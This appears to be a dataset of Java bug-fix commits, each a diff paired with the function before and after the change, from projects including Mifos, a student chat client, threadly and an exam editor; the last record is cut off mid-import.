public static String compare(NamedList a, NamedList b, int flags, Map<String, Integer> handle) { // System.out.println("resp a:" + a); // System.out.println("resp b:" + b); boolean ordered = (flags & UNORDERED) == 0; int posa = 0, posb = 0; int aSkipped = 0, bSkipped = 0; for (; ;) { if (posa >= a.size() || posb >= b.size()) { break; } String namea, nameb; Object vala, valb = null; int flagsa, flagsb; for (; ;) { namea = a.getName(posa); vala = a.getVal(posa); posa++; flagsa = flags(handle, namea); if ((flagsa & SKIP) != 0) { aSkipped++; continue; } break; } if (!ordered) posb = 0; // reset if not ordered while (posb < b.size()) { nameb = b.getName(posb); valb = b.getVal(posb); posb++; flagsb = flags(handle, nameb); if ((flagsb & SKIP) != 0) { bSkipped++; continue; } if (eq(namea, nameb)) { break; } if (ordered) { return "." + namea + "!=" + nameb + " (unordered or missing)"; } // if unordered, continue until we find the right field. } // ok, namea and nameb should be equal here already. if ((flagsa & SKIPVAL) != 0) continue; // keys matching is enough String cmp = compare(vala, valb, flagsa, handle); if (cmp != null) return "." + namea + cmp; } if (a.size() - aSkipped != b.size() - bSkipped) { return ".size()==" + a.size() + "," + b.size() + "skipped=" + aSkipped + "," + bSkipped; } return null; }
public static String compare(NamedList a, NamedList b, int flags, Map<String, Integer> handle) { // System.out.println("resp a:" + a); // System.out.println("resp b:" + b); boolean ordered = (flags & UNORDERED) == 0; int posa = 0, posb = 0; int aSkipped = 0, bSkipped = 0; for (; ;) { if (posa >= a.size() || posb >= b.size()) { break; } String namea = null, nameb = null; Object vala = null, valb = null; int flagsa = 0, flagsb = 0; while (posa < a.size()) { namea = a.getName(posa); vala = a.getVal(posa); posa++; flagsa = flags(handle, namea); if ((flagsa & SKIP) != 0) { aSkipped++; continue; } break; } if (!ordered) posb = 0; // reset if not ordered while (posb < b.size()) { nameb = b.getName(posb); valb = b.getVal(posb); posb++; flagsb = flags(handle, nameb); if ((flagsb & SKIP) != 0) { bSkipped++; continue; } if (eq(namea, nameb)) { break; } if (ordered) { return "." + namea + "!=" + nameb + " (unordered or missing)"; } // if unordered, continue until we find the right field. } // ok, namea and nameb should be equal here already. if ((flagsa & SKIPVAL) != 0) continue; // keys matching is enough String cmp = compare(vala, valb, flagsa, handle); if (cmp != null) return "." + namea + cmp; } if (a.size() - aSkipped != b.size() - bSkipped) { return ".size()==" + a.size() + "," + b.size() + "skipped=" + aSkipped + "," + bSkipped; } return null; }
diff --git a/mifos/src/main/java/org/mifos/framework/ApplicationInitializer.java b/mifos/src/main/java/org/mifos/framework/ApplicationInitializer.java index c7f0e9f05..7f494f94c 100644 --- a/mifos/src/main/java/org/mifos/framework/ApplicationInitializer.java +++ b/mifos/src/main/java/org/mifos/framework/ApplicationInitializer.java @@ -1,379 +1,386 @@ /* * Copyright (c) 2005-2009 Grameen Foundation USA * All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or * implied. See the License for the specific language governing * permissions and limitations under the License. * * See also http://www.apache.org/licenses/LICENSE-2.0.html for an * explanation of the license and how it is applied. */ package org.mifos.framework; import java.io.IOException; import java.io.PrintWriter; import java.io.StringWriter; import java.util.Arrays; import java.util.Locale; import java.util.Properties; import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import org.mifos.application.accounts.financial.util.helpers.FinancialInitializer; import org.mifos.application.configuration.business.MifosConfiguration; import org.mifos.config.AccountingRules; import org.mifos.config.ClientRules; import org.mifos.config.Localization; import org.mifos.config.ProcessFlowRules; import org.mifos.framework.components.audit.util.helpers.AuditConfigurtion; import org.mifos.framework.components.batchjobs.MifosScheduler; import org.mifos.framework.components.configuration.business.Configuration; import org.mifos.framework.components.logger.LoggerConstants; import org.mifos.framework.components.logger.MifosLogManager; import org.mifos.framework.components.logger.MifosLogger; import org.mifos.framework.exceptions.AppNotConfiguredException; import org.mifos.framework.exceptions.ApplicationException; import org.mifos.framework.exceptions.HibernateProcessException; import org.mifos.framework.exceptions.HibernateStartUpException; import org.mifos.framework.exceptions.LoggerConfigurationException; import org.mifos.framework.exceptions.SystemException; import org.mifos.framework.exceptions.XMLReaderException; import org.mifos.framework.hibernate.helper.StaticHibernateUtil; import org.mifos.framework.persistence.DatabaseVersionPersistence; import org.mifos.framework.security.authorization.AuthorizationManager; import org.mifos.framework.security.authorization.HierarchyManager; import org.mifos.framework.security.util.ActivityMapper; import org.mifos.framework.spring.SpringUtil; import org.mifos.framework.struts.plugin.helper.EntityMasterData; import org.mifos.framework.struts.tags.XmlBuilder; import org.mifos.framework.util.StandardTestingService; import org.mifos.framework.util.helpers.Money; /** * This class should prepare all the sub-systems that are required by the app. * Cleanup should also happen here when the application is shutdown. */ public class ApplicationInitializer implements ServletContextListener, ServletRequestListener { private static MifosLogger LOG = null; private static class DatabaseError { boolean isError = false; DatabaseErrorCode errorCode = DatabaseErrorCode.NO_DATABASE_ERROR; String errmsg = ""; Throwable error = null; void logError() { LOG.fatal(errmsg, false, null, error); } } public static void setDatabaseError(DatabaseErrorCode errcode, String errmsg, Throwable error) { databaseError.isError = true; databaseError.errorCode = errcode; databaseError.error = error; databaseError.errmsg = errmsg; } public static void clearDatabaseError() { databaseError.isError = false; databaseError.errorCode = DatabaseErrorCode.NO_DATABASE_ERROR; databaseError.error = null; databaseError.errmsg = null; } private static String getDatabaseConnectionInfo() { StandardTestingService standardTestingService = new StandardTestingService(); Properties hibernateCfg = new Properties(); String info = "Using Mifos database connection settings"; try { hibernateCfg = standardTestingService.getDatabaseConnectionSettings(); info += " from file(s): " + Arrays.toString(standardTestingService.getAllSettingsFilenames()); } catch (IOException e) { /* * not sure if we can actually do anything useful with this * exception since we're likely running during container * initialization */ e.printStackTrace(); } info += " Connection URL=" + hibernateCfg.getProperty("hibernate.connection.url"); info += ". Username=" + hibernateCfg.getProperty("hibernate.connection.username"); info += ". Password=********"; return info; } private static DatabaseError databaseError = new DatabaseError(); public void contextInitialized(ServletContextEvent ctx) { init(); } public void init() { try { synchronized (ApplicationInitializer.class) { initializeLogger(); initializeHibernate(); /* * getLogger() cannot be called statically (ie: when * initializing LOG) because MifosLogManager.initializeLogger() * hasn't been called yet, so MifosLogManager.loggerRepository * will be null. */ LOG = MifosLogManager.getLogger(LoggerConstants.FRAMEWORKLOGGER); LOG.info("Logger has been initialised", false, null); LOG.info(getDatabaseConnectionInfo(), false, null); DatabaseVersionPersistence persistence = new DatabaseVersionPersistence(); try { /* * This is an easy way to force an actual database query to * happen via Hibernate. Simply opening a Hibernate session * may not actually connect to the database. */ persistence.isVersioned(); } catch (Throwable t) { setDatabaseError(DatabaseErrorCode.CONNECTION_FAILURE, "Unable to connect to database.", t); } if (!databaseError.isError) { try { persistence.upgradeDatabase(); } catch (Throwable t) { setDatabaseError(DatabaseErrorCode.UPGRADE_FAILURE, "Failed to upgrade database.", t); } } if (databaseError.isError) { databaseError.logError(); } else { // this method is called so that supported locales will be // loaded // from db and stored in cache for later use Localization.getInstance().init(); // Check ClientRules configuration in db and config file(s) // for errors. Also caches ClientRules values. ClientRules.init(); // Check ProcessFlowRules configuration in db and config // file(s) for errors. ProcessFlowRules.init(); initializeSecurity(); Money.setDefaultCurrency(AccountingRules.getMifosCurrency()); // 1/4/08 Hopefully a temporary change to force Spring // to initialize here (rather than in struts-config.xml // prior to loading label values into a // cache in MifosConfiguration. When the use of the // cache is refactored away, we should be able to move // back to the struts based Spring initialization SpringUtil.initializeSpring(); // Spring must be initialized before FinancialInitializer FinancialInitializer.initialize(); EntityMasterData.getInstance().init(); initializeEntityMaster(); (new MifosScheduler()).registerTasks(); Configuration.getInstance(); MifosConfiguration.getInstance().init(); configureAuditLogValues(Localization.getInstance().getMainLocale()); } } } catch (Exception e) { + String errMsgStart = "unable to start Mifos web application"; + if (null == LOG) { + System.err.println(errMsgStart + " and logger is not available!"); + e.printStackTrace(); + } else { + LOG.error(errMsgStart, e); + } throw new Error(e); } } public static void printDatabaseError(XmlBuilder xml, int dbVersion) { synchronized (ApplicationInitializer.class) { if (databaseError.isError) { addDatabaseErrorMessage(xml, dbVersion); } else { addNoFurtherDetailsMessage(xml); } } } private static void addNoFurtherDetailsMessage(XmlBuilder xml) { xml.startTag("p"); xml.text("I don't have any further details, unfortunately."); xml.endTag("p"); xml.text("\n"); } private static void addDatabaseErrorMessage(XmlBuilder xml, int dbVersion) { xml.startTag("p", "style", "font-weight: bolder; color: red; font-size: x-large;"); xml.text(databaseError.errmsg); xml.text("\n"); if (databaseError.errorCode.equals(DatabaseErrorCode.UPGRADE_FAILURE)) { addDatabaseVersionMessage(xml, dbVersion); } xml.endTag("p"); if (databaseError.errorCode.equals(DatabaseErrorCode.CONNECTION_FAILURE)) { addConnectionFailureMessage(xml); } xml.text("\n"); xml.startTag("p"); xml.text("More details:"); xml.endTag("p"); xml.text("\n"); if (null != databaseError.error.getCause()) { xml.startTag("p", "style", "font-weight: bolder; color: blue;"); xml.text(databaseError.error.getCause().toString()); xml.endTag("p"); xml.text("\n"); } xml.startTag("p", "style", "font-weight: bolder; color: blue;"); xml.text(getDatabaseConnectionInfo()); xml.endTag("p"); xml.text("\n"); addStackTraceHtml(xml); } private static void addConnectionFailureMessage(XmlBuilder xml) { xml.startTag("p"); xml.text("Possible causes:"); xml.startTag("ul"); xml.startTag("li"); xml.text("MySQL is not running"); xml.endTag("li"); xml.startTag("li"); xml.text("MySQL is listening on a different port than Mifos is expecting"); xml.endTag("li"); xml.startTag("li"); xml.text("incorrect username or password"); xml.endTag("li"); xml.endTag("ul"); xml.endTag("p"); xml.text("\n"); xml.startTag("p"); xml.startTag("a", "href", "http://mifos.org/developers/wiki/ConfiguringMifos#customizing-your-database-connection"); xml.text("More about configuring your database connection."); xml.endTag("a"); xml.endTag("p"); xml.text("\n"); } private static void addDatabaseVersionMessage(XmlBuilder xml, int dbVersion) { if (dbVersion == -1) { xml.text("Database is too old to have a version.\n"); } else { xml.text("Database Version = " + dbVersion + "\n"); } xml.text("Application Version = " + DatabaseVersionPersistence.APPLICATION_VERSION + ".\n"); } private static void addStackTraceHtml(XmlBuilder xml) { xml.startTag("p"); xml.text("Stack trace:"); xml.endTag("p"); xml.text("\n"); xml.startTag("pre"); StringWriter stackTrace = new StringWriter(); databaseError.error.printStackTrace(new PrintWriter(stackTrace)); xml.text("\n" + stackTrace.toString()); xml.endTag("pre"); xml.text("\n"); } /** * Initializes Hibernate by making it read the hibernate.cfg file and also * setting the same with hibernate session factory. */ public static void initializeHibernate() throws AppNotConfiguredException { try { StaticHibernateUtil.initialize(); } catch (HibernateStartUpException e) { throw new AppNotConfiguredException(e); } } /** * Initializes the logger using loggerconfiguration.xml * * @throws AppNotConfiguredException * - IF there is any exception while configuring the logger */ private void initializeLogger() throws AppNotConfiguredException { try { MifosLogManager.configureLogging(); } catch (LoggerConfigurationException lce) { throw new AppNotConfiguredException(lce); } } /** * This function initialize and bring up the authorization and * authentication services * * @throws AppNotConfiguredException * - IF there is any failures during init */ private void initializeSecurity() throws AppNotConfiguredException { try { ActivityMapper.getInstance().init(); AuthorizationManager.getInstance().init(); HierarchyManager.getInstance().init(); } catch (XMLReaderException e) { throw new AppNotConfiguredException(e); } catch (ApplicationException ae) { throw new AppNotConfiguredException(ae); } catch (SystemException se) { throw new AppNotConfiguredException(se); } } private void initializeEntityMaster() throws HibernateProcessException { EntityMasterData.getInstance().init(); } private void configureAuditLogValues(Locale locale) throws SystemException { AuditConfigurtion.init(locale); } public void contextDestroyed(ServletContextEvent ctx) { } public void requestDestroyed(ServletRequestEvent event) { StaticHibernateUtil.closeSession(); } public void requestInitialized(ServletRequestEvent event) { } }
true
true
public void init() { try { synchronized (ApplicationInitializer.class) { initializeLogger(); initializeHibernate(); /* * getLogger() cannot be called statically (ie: when * initializing LOG) because MifosLogManager.initializeLogger() * hasn't been called yet, so MifosLogManager.loggerRepository * will be null. */ LOG = MifosLogManager.getLogger(LoggerConstants.FRAMEWORKLOGGER); LOG.info("Logger has been initialised", false, null); LOG.info(getDatabaseConnectionInfo(), false, null); DatabaseVersionPersistence persistence = new DatabaseVersionPersistence(); try { /* * This is an easy way to force an actual database query to * happen via Hibernate. Simply opening a Hibernate session * may not actually connect to the database. */ persistence.isVersioned(); } catch (Throwable t) { setDatabaseError(DatabaseErrorCode.CONNECTION_FAILURE, "Unable to connect to database.", t); } if (!databaseError.isError) { try { persistence.upgradeDatabase(); } catch (Throwable t) { setDatabaseError(DatabaseErrorCode.UPGRADE_FAILURE, "Failed to upgrade database.", t); } } if (databaseError.isError) { databaseError.logError(); } else { // this method is called so that supported locales will be // loaded // from db and stored in cache for later use Localization.getInstance().init(); // Check ClientRules configuration in db and config file(s) // for errors. Also caches ClientRules values. ClientRules.init(); // Check ProcessFlowRules configuration in db and config // file(s) for errors. ProcessFlowRules.init(); initializeSecurity(); Money.setDefaultCurrency(AccountingRules.getMifosCurrency()); // 1/4/08 Hopefully a temporary change to force Spring // to initialize here (rather than in struts-config.xml // prior to loading label values into a // cache in MifosConfiguration. When the use of the // cache is refactored away, we should be able to move // back to the struts based Spring initialization SpringUtil.initializeSpring(); // Spring must be initialized before FinancialInitializer FinancialInitializer.initialize(); EntityMasterData.getInstance().init(); initializeEntityMaster(); (new MifosScheduler()).registerTasks(); Configuration.getInstance(); MifosConfiguration.getInstance().init(); configureAuditLogValues(Localization.getInstance().getMainLocale()); } } } catch (Exception e) { throw new Error(e); } }
public void init() { try { synchronized (ApplicationInitializer.class) { initializeLogger(); initializeHibernate(); /* * getLogger() cannot be called statically (ie: when * initializing LOG) because MifosLogManager.initializeLogger() * hasn't been called yet, so MifosLogManager.loggerRepository * will be null. */ LOG = MifosLogManager.getLogger(LoggerConstants.FRAMEWORKLOGGER); LOG.info("Logger has been initialised", false, null); LOG.info(getDatabaseConnectionInfo(), false, null); DatabaseVersionPersistence persistence = new DatabaseVersionPersistence(); try { /* * This is an easy way to force an actual database query to * happen via Hibernate. Simply opening a Hibernate session * may not actually connect to the database. */ persistence.isVersioned(); } catch (Throwable t) { setDatabaseError(DatabaseErrorCode.CONNECTION_FAILURE, "Unable to connect to database.", t); } if (!databaseError.isError) { try { persistence.upgradeDatabase(); } catch (Throwable t) { setDatabaseError(DatabaseErrorCode.UPGRADE_FAILURE, "Failed to upgrade database.", t); } } if (databaseError.isError) { databaseError.logError(); } else { // this method is called so that supported locales will be // loaded // from db and stored in cache for later use Localization.getInstance().init(); // Check ClientRules configuration in db and config file(s) // for errors. Also caches ClientRules values. ClientRules.init(); // Check ProcessFlowRules configuration in db and config // file(s) for errors. ProcessFlowRules.init(); initializeSecurity(); Money.setDefaultCurrency(AccountingRules.getMifosCurrency()); // 1/4/08 Hopefully a temporary change to force Spring // to initialize here (rather than in struts-config.xml // prior to loading label values into a // cache in MifosConfiguration. When the use of the // cache is refactored away, we should be able to move // back to the struts based Spring initialization SpringUtil.initializeSpring(); // Spring must be initialized before FinancialInitializer FinancialInitializer.initialize(); EntityMasterData.getInstance().init(); initializeEntityMaster(); (new MifosScheduler()).registerTasks(); Configuration.getInstance(); MifosConfiguration.getInstance().init(); configureAuditLogValues(Localization.getInstance().getMainLocale()); } } } catch (Exception e) { String errMsgStart = "unable to start Mifos web application"; if (null == LOG) { System.err.println(errMsgStart + " and logger is not available!"); e.printStackTrace(); } else { LOG.error(errMsgStart, e); } throw new Error(e); } }
diff --git a/src/com/drexel/duca/frontend/ChatWindow.java b/src/com/drexel/duca/frontend/ChatWindow.java index ac4b2e9..02b2637 100644 --- a/src/com/drexel/duca/frontend/ChatWindow.java +++ b/src/com/drexel/duca/frontend/ChatWindow.java @@ -1,150 +1,151 @@ package com.drexel.duca.frontend; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.KeyEvent; import java.awt.event.KeyListener; import java.io.IOException; import java.io.PrintStream; import java.net.Socket; import java.net.InetSocketAddress; import java.util.ArrayList; import java.util.NoSuchElementException; import java.util.Scanner; import javax.swing.BoxLayout; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JPanel; import javax.swing.JScrollPane; import javax.swing.JTextArea; import javax.swing.JTextField; import com.drexel.duca.backend.RSAKeypair; import com.drexel.duca.backend.STUser; public class ChatWindow implements Runnable { private JFrame frmChatWindow; private JTextArea textArea; private JTextField textField; private JButton btnSend; private JPanel bottomPanel; private JScrollPane scrollPane; private Scanner sInput; private PrintStream sOutput; private RSAKeypair encryption; private RSAKeypair decryption; /** * Create the application. */ public ChatWindow(Socket socket, ArrayList<STUser> friends) { try { String ipToLookFor = ((InetSocketAddress) socket.getRemoteSocketAddress()).getAddress().toString().substring(1); STUser personTalking = null; System.out.println(ipToLookFor); for (STUser friend : friends) { System.out.println(friend.getIp()); if (friend.getIp().equals(ipToLookFor)) { personTalking = friend; break; } } if (personTalking == null) { socket.close(); return; } sInput = new Scanner(socket.getInputStream()); sOutput = new PrintStream(socket.getOutputStream()); decryption = new RSAKeypair(); sOutput.println(decryption.getE() + " " + decryption.getC()); int e = sInput.nextInt(); int c = sInput.nextInt(); sInput.nextLine();// flush new line from buffer encryption = new RSAKeypair(e, c); initialize("Chat with " + personTalking.getUsername()); new Thread(this).start(); } catch (IOException e) { e.printStackTrace(); } //STUFF TO ADDDDD catch NoSuchElementException (if they left) } /** * Initialize the contents of the frame. */ private void initialize(String title) { frmChatWindow = new JFrame(); frmChatWindow.setTitle(title); frmChatWindow.setBounds(100, 100, 450, 300); frmChatWindow.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); frmChatWindow.getContentPane().setLayout(new BoxLayout(frmChatWindow.getContentPane(), BoxLayout.Y_AXIS)); textArea = new JTextArea(); textArea.setRows(15); + textArea.setEditable(false); scrollPane = new JScrollPane(textArea); frmChatWindow.getContentPane().add(scrollPane); bottomPanel = new JPanel(); bottomPanel.setLayout(new BoxLayout(bottomPanel, BoxLayout.X_AXIS)); textField = new JTextField(); bottomPanel.add(textField); textField.addKeyListener(new KeyListener() { @Override public void keyPressed(KeyEvent e) { // TODO Auto-generated method stub } @Override public void keyReleased(KeyEvent e) { // TODO Auto-generated method stub } @Override public void keyTyped(KeyEvent e) { if (e.getKeyChar() == 10) { sendText(); } } }); btnSend = new JButton("Send"); btnSend.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { sendText(); } }); bottomPanel.add(btnSend); frmChatWindow.getContentPane().add(bottomPanel); } private void sendText() { String msg = textField.getText(); if (!msg.isEmpty()) { sOutput.println(encryption.encrypt(msg)); textArea.append(msg + "\n"); textField.setText(""); } } public JFrame getChatWindowFrame() { return frmChatWindow; } @Override public void run() { try { while (true) { String msg = decryption.decrypt(sInput.nextLine()); if (!msg.isEmpty()) { textArea.append(msg + "\n"); } } } catch (NoSuchElementException e) { } } }
true
true
private void initialize(String title) { frmChatWindow = new JFrame(); frmChatWindow.setTitle(title); frmChatWindow.setBounds(100, 100, 450, 300); frmChatWindow.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); frmChatWindow.getContentPane().setLayout(new BoxLayout(frmChatWindow.getContentPane(), BoxLayout.Y_AXIS)); textArea = new JTextArea(); textArea.setRows(15); scrollPane = new JScrollPane(textArea); frmChatWindow.getContentPane().add(scrollPane); bottomPanel = new JPanel(); bottomPanel.setLayout(new BoxLayout(bottomPanel, BoxLayout.X_AXIS)); textField = new JTextField(); bottomPanel.add(textField); textField.addKeyListener(new KeyListener() { @Override public void keyPressed(KeyEvent e) { // TODO Auto-generated method stub } @Override public void keyReleased(KeyEvent e) { // TODO Auto-generated method stub } @Override public void keyTyped(KeyEvent e) { if (e.getKeyChar() == 10) { sendText(); } } }); btnSend = new JButton("Send"); btnSend.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { sendText(); } }); bottomPanel.add(btnSend); frmChatWindow.getContentPane().add(bottomPanel); }
private void initialize(String title) { frmChatWindow = new JFrame(); frmChatWindow.setTitle(title); frmChatWindow.setBounds(100, 100, 450, 300); frmChatWindow.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); frmChatWindow.getContentPane().setLayout(new BoxLayout(frmChatWindow.getContentPane(), BoxLayout.Y_AXIS)); textArea = new JTextArea(); textArea.setRows(15); textArea.setEditable(false); scrollPane = new JScrollPane(textArea); frmChatWindow.getContentPane().add(scrollPane); bottomPanel = new JPanel(); bottomPanel.setLayout(new BoxLayout(bottomPanel, BoxLayout.X_AXIS)); textField = new JTextField(); bottomPanel.add(textField); textField.addKeyListener(new KeyListener() { @Override public void keyPressed(KeyEvent e) { // TODO Auto-generated method stub } @Override public void keyReleased(KeyEvent e) { // TODO Auto-generated method stub } @Override public void keyTyped(KeyEvent e) { if (e.getKeyChar() == 10) { sendText(); } } }); btnSend = new JButton("Send"); btnSend.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { sendText(); } }); bottomPanel.add(btnSend); frmChatWindow.getContentPane().add(bottomPanel); }
diff --git a/src/main/java/org/threadly/concurrent/ConcurrentDynamicDelayQueue.java b/src/main/java/org/threadly/concurrent/ConcurrentDynamicDelayQueue.java index 842016f5..59aefbba 100644 --- a/src/main/java/org/threadly/concurrent/ConcurrentDynamicDelayQueue.java +++ b/src/main/java/org/threadly/concurrent/ConcurrentDynamicDelayQueue.java @@ -1,354 +1,355 @@ package org.threadly.concurrent; import java.util.Collection; import java.util.Collections; import java.util.Iterator; import java.util.NoSuchElementException; import java.util.RandomAccess; import java.util.concurrent.Delayed; import java.util.concurrent.TimeUnit; import org.threadly.concurrent.lock.NativeLock; import org.threadly.concurrent.lock.VirtualLock; import org.threadly.util.Clock; import org.threadly.util.ListUtils; /** * This is a DynamicDelayQueue that is thread safe by use of the * ConcurrentArrayList. It currently is better performing in most * cases compared to the SynchronizedDynamicDelayQueue. * * @author jent - Mike Jensen * * @param <T> Parameter to indicate what type of item is contained in the queue */ public class ConcurrentDynamicDelayQueue<T extends Delayed> implements DynamicDelayQueue<T> { private static final int SPIN_LOCK_THRESHOLD = 5; private static final int QUEUE_FRONT_PADDING = 0; private static final int QUEUE_REAR_PADDING = 1; private final boolean randomAccessQueue; private final VirtualLock queueLock; private final ConcurrentArrayList<T> queue; /** * Constructs a new concurrent queue. */ public ConcurrentDynamicDelayQueue() { this(new NativeLock()); } /** * Constructs a queue, providing the lock that will be called * on with .await(). Thus it allows you to synchronize around * the .take() and have the lock released while the thread blocks. * * @param queueLock lock that is used internally */ protected ConcurrentDynamicDelayQueue(VirtualLock queueLock) { queue = new ConcurrentArrayList<T>(queueLock, QUEUE_FRONT_PADDING, QUEUE_REAR_PADDING); randomAccessQueue = (queue instanceof RandomAccess); this.queueLock = queueLock; } @Override public String toString() { return "Queue:" + queue.toString(); } @Override public Object getLock() { return queueLock; } @Override public void sortQueue() { synchronized (queueLock) { Collections.sort(queue); queueLock.signalAll(); } } @Override public boolean add(T e) { if (e == null) { return false; } synchronized (queueLock) { int insertionIndex = ListUtils.getInsertionEndIndex(queue, e, randomAccessQueue); queue.add(insertionIndex, e); queueLock.notify(); } return true; } @Override public void reposition(T e) { if (e == null) { return; } synchronized (queueLock) { int insertionIndex = ListUtils.getInsertionEndIndex(queue, e, randomAccessQueue); /* provide the option to search backwards since the item * will most likely be towards the back of the queue */ queue.reposition(e, insertionIndex, true); queueLock.signalAll(); } } @Override public void addLast(T e) { if (e == null) { throw new NullPointerException(); } queue.add(e); } @Override public T element() { T result = peek(); if (result == null) { throw new NoSuchElementException(); } return result; } @Override public boolean offer(T e) { return add(e); } @Override public T peek() { T next = queue.peek(); if (next != null && next.getDelay(TimeUnit.MILLISECONDS) > 0) { next = null; } return next; } @Override public T poll() { T next = queue.peek(); if (next != null && next.getDelay(TimeUnit.MILLISECONDS) <= 0) { // we likely can win, so lets try synchronized (queueLock) { if ((next = queue.peek()) != null && next.getDelay(TimeUnit.MILLISECONDS) <= 0) { return queue.remove(0); } else { return null; } } } else { return null; } } protected T blockTillAvailable() throws InterruptedException { while (true) { // will break out when ready T next = queue.peek(); if (next == null) { synchronized (queueLock) { while ((next = queue.peek()) == null) { queueLock.await(); } } } long nextDelay = next.getDelay(TimeUnit.MILLISECONDS); if (nextDelay > 0) { if (nextDelay > SPIN_LOCK_THRESHOLD) { synchronized (queueLock) { if (queue.peek() == next) { queueLock.await(nextDelay); } else { continue; // start form the beginning } } } else { long startTime = Clock.accurateTime(); long startDelay = nextDelay; while ((next = queue.peek()) != null && (nextDelay = next.getDelay(TimeUnit.MILLISECONDS)) > 0 && + nextDelay <= SPIN_LOCK_THRESHOLD && // in case next changes while spinning (nextDelay != startDelay || Clock.accurateTime() < startTime + SPIN_LOCK_THRESHOLD)) { // spin } if (nextDelay <= 0) { return next; } else if (next != null) { /* clock is advancing but delay is not, so since this is not * a real time delay we just need to wait */ synchronized (queueLock) { if (next == queue.peek()) { queueLock.await(nextDelay); } else { // loop } } } } } else { return next; } } } @Override public T take() throws InterruptedException { T next = blockTillAvailable(); synchronized (queueLock) { if (next == queue.peek()) { queue.remove(0); } else { next = blockTillAvailable(); queue.remove(0); } } return next; } @Override public T remove() { T result = poll(); if (result == null) { throw new NoSuchElementException(); } return result; } @Override public boolean addAll(Collection<? extends T> c) { synchronized (queueLock) { Iterator<? extends T> it = c.iterator(); boolean added = it.hasNext(); while (it.hasNext()) { add(it.next()); } return added; } } @Override public void clear() { queue.clear(); } @Override public boolean contains(Object o) { return queue.contains(o); } @Override public boolean containsAll(Collection<?> c) { return queue.containsAll(c); } @Override public boolean isEmpty() { return queue.isEmpty(); } @Override public Iterator<T> iterator() { if (! Thread.holdsLock(queueLock)) { throw new IllegalStateException("Must have lock in order to get iterator"); } return queue.iterator(); } @Override public ConsumerIterator<T> consumeIterator() throws InterruptedException { if (! Thread.holdsLock(queueLock)) { throw new IllegalStateException("Must have lock in order to get iterator"); } blockTillAvailable(); return new ConsumerIterator<T>() { private T next = null; @Override public boolean hasNext() { if (next == null) { next = ConcurrentDynamicDelayQueue.this.peek(); } return next != null; } @Override public T peek() { if (next == null) { next = ConcurrentDynamicDelayQueue.this.peek(); } return next; } @Override public T remove() { T result; if (next != null) { result = next; queue.remove(result); next = null; } else { result = ConcurrentDynamicDelayQueue.this.remove(); } return result; } }; } @Override public boolean remove(Object o) { return queue.remove(o); } @Override public boolean removeAll(Collection<?> c) { return queue.removeAll(c); } @Override public boolean retainAll(Collection<?> c) { return queue.retainAll(c); } @Override public int size() { return queue.size(); } @Override public Object[] toArray() { return queue.toArray(); } @Override public <E> E[] toArray(E[] a) { return queue.toArray(a); } }
true
true
protected T blockTillAvailable() throws InterruptedException { while (true) { // will break out when ready T next = queue.peek(); if (next == null) { synchronized (queueLock) { while ((next = queue.peek()) == null) { queueLock.await(); } } } long nextDelay = next.getDelay(TimeUnit.MILLISECONDS); if (nextDelay > 0) { if (nextDelay > SPIN_LOCK_THRESHOLD) { synchronized (queueLock) { if (queue.peek() == next) { queueLock.await(nextDelay); } else { continue; // start form the beginning } } } else { long startTime = Clock.accurateTime(); long startDelay = nextDelay; while ((next = queue.peek()) != null && (nextDelay = next.getDelay(TimeUnit.MILLISECONDS)) > 0 && (nextDelay != startDelay || Clock.accurateTime() < startTime + SPIN_LOCK_THRESHOLD)) { // spin } if (nextDelay <= 0) { return next; } else if (next != null) { /* clock is advancing but delay is not, so since this is not * a real time delay we just need to wait */ synchronized (queueLock) { if (next == queue.peek()) { queueLock.await(nextDelay); } else { // loop } } } } } else { return next; } } }
protected T blockTillAvailable() throws InterruptedException { while (true) { // will break out when ready T next = queue.peek(); if (next == null) { synchronized (queueLock) { while ((next = queue.peek()) == null) { queueLock.await(); } } } long nextDelay = next.getDelay(TimeUnit.MILLISECONDS); if (nextDelay > 0) { if (nextDelay > SPIN_LOCK_THRESHOLD) { synchronized (queueLock) { if (queue.peek() == next) { queueLock.await(nextDelay); } else { continue; // start form the beginning } } } else { long startTime = Clock.accurateTime(); long startDelay = nextDelay; while ((next = queue.peek()) != null && (nextDelay = next.getDelay(TimeUnit.MILLISECONDS)) > 0 && nextDelay <= SPIN_LOCK_THRESHOLD && // in case next changes while spinning (nextDelay != startDelay || Clock.accurateTime() < startTime + SPIN_LOCK_THRESHOLD)) { // spin } if (nextDelay <= 0) { return next; } else if (next != null) { /* clock is advancing but delay is not, so since this is not * a real time delay we just need to wait */ synchronized (queueLock) { if (next == queue.peek()) { queueLock.await(nextDelay); } else { // loop } } } } } else { return next; } } }
diff --git a/exameditor/web/src/main/java/de/elateportal/editor/pages/TaskDefPage.java b/exameditor/web/src/main/java/de/elateportal/editor/pages/TaskDefPage.java index 5856512..510402a 100644 --- a/exameditor/web/src/main/java/de/elateportal/editor/pages/TaskDefPage.java +++ b/exameditor/web/src/main/java/de/elateportal/editor/pages/TaskDefPage.java @@ -1,218 +1,218 @@ /* Copyright (C) 2009 Steffen Dienst This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ package de.elateportal.editor.pages; import java.io.BufferedWriter; import java.io.File; import java.io.FileWriter; import java.io.IOException; import java.util.List; import javax.xml.bind.JAXBContext; import javax.xml.bind.JAXBException; import javax.xml.bind.Marshaller; import 